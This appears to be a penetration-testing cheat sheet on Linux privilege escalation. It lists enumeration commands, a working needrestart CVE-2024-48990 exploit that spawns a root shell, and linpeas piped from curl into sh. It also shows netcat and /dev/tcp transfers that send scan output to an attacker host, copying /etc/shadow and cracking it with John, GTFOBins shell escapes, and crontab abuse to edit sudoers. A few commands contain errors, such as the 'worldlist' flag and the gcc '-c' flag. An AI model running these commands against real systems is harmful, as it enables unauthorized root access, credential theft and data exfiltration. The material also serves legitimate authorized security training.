> For the complete documentation index, see [llms.txt](https://docs.hackjiji.org/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.hackjiji.org/linux-pentesting/privilege-escalation.md).

# Privilege escalation

### After exploitation - interesting cmd's

```bash
#check user privs
sudo -l

# Check installed FTP version
apt list --installed | grep ftp

# Check for locally open ports
netstat -antp | grep -i list

# Get SSH version on Linux
ssh -v localhost

# Get FTP daemon package version on Linux
dpkg -l pure-ftpd

# View OS related info
uname -a
lsb_release -a
```

## Privilege Escalation — CVE-2024–48990 / CVE-2024–48991 (needrestart)

1. Create a malicious config:

```
mkdir -p /tmp/.needrestart
cat > /tmp/.needrestart/needrestart.conf <<EOF
$nrconf{ui} = 'NeedRestart::UI::stdio';
system("/bin/bash");
EOF
```

2. Execute needrestart with custom config:

```
sudo needrestart -c /tmp/.needrestart/needrestart.conf
```

### Linpeass

Using tools like `linpeas.sh` automates the enumeration process, making it more efficient and comprehensive.

Download LinPeass rom github&#x20;

```bash
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh 

```

#### Transfer Linpeas to the victims machine&#x20;

```bash
# Local network 
sudo python3 -m http.server 80 #Host 
curl 10.10.10.10/linpeas.sh | sh #Victim 

# Without curl 
sudo nc -q 5 -lvnp 80 < linpeas.sh #Host 
cat < /dev/tcp/10.10.10.10/80 | sh #Victim 
```

#### Execute from memory and send output back to the host&#x20;

```bash
nc -lvnp 9002 | tee linpeas.out #Host 
curl 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #Victim  
```

Analyze the Red findings&#x20;

Go to  GTFOBins

{% embed url="<https://gtfobins.github.io>" %}

Type program that is a SUID and try things out, for example python sudo:&#x20;

`python -c 'import os; os.system("/bin/sh")'`&#x20;

&#x20;

### CVE-2021-3493 -  Ubuntu kernel priv escalation&#x20;

#### Affected versions&#x20;

&#x20;   Ubuntu 20.10&#x20;

&#x20;   Ubuntu 20.04 LTS&#x20;

&#x20;   Ubuntu 19.04&#x20;

&#x20;   Ubuntu 18.04 LTS&#x20;

&#x20;   Ubuntu 16.04 LTS&#x20;

&#x20;   Ubuntu 14.04 ESM&#x20;

If the target is one of the ubuntu version above, it will be affected by the Overlays privilege escalation vulnerability from which you can use the exploit below:

{% embed url="<https://github.com/briskets/CVE-2021-3493>" %}

You have to complie the tool first with:

```bash
gcc -o exploit -c exploit.c  
```

### Shadow File

1. Copy /etc/passwd&#x20;
2. Copy /etc/shadow&#x20;
3. Merge the files with unshadow tool

```bash
unshadow <passwdFile> <shadowFile> > <outputFileName>
```

4. Crack the passwords offline with John

```bash
john --worldlist=<wordlistFile> <UnshadowFile> 
```

&#x20;

### DirtyCowl - 2016-5195&#x20;

{% embed url="<https://github.com/gbonacini/CVE-2016-5195>" %}

### &#x20;Check all executables that we can execute as sudo:&#x20;

```bash
find / -perm 4000 2>/dev/null 
```

Once identified, try one of them, check the Gtfobins resource for available exploits

{% embed url="<https://gtfobins.github.io/gtfobins/>" %}

### Check the sudo privileges we might have as current user:&#x20;

```bash
sudo -l
```

&#x20;If we can execute a binary with root privileges, we can check on gtfonbins how we can get root access through that executable&#x20;

### Check the crontabs&#x20;

* If we can find a executable script where we can right, we might use it in order to add all users to `/etc/sudoers`&#x20;

{% embed url="<https://www.youtube.com/watch?v=X80XZMeN7oU>" %}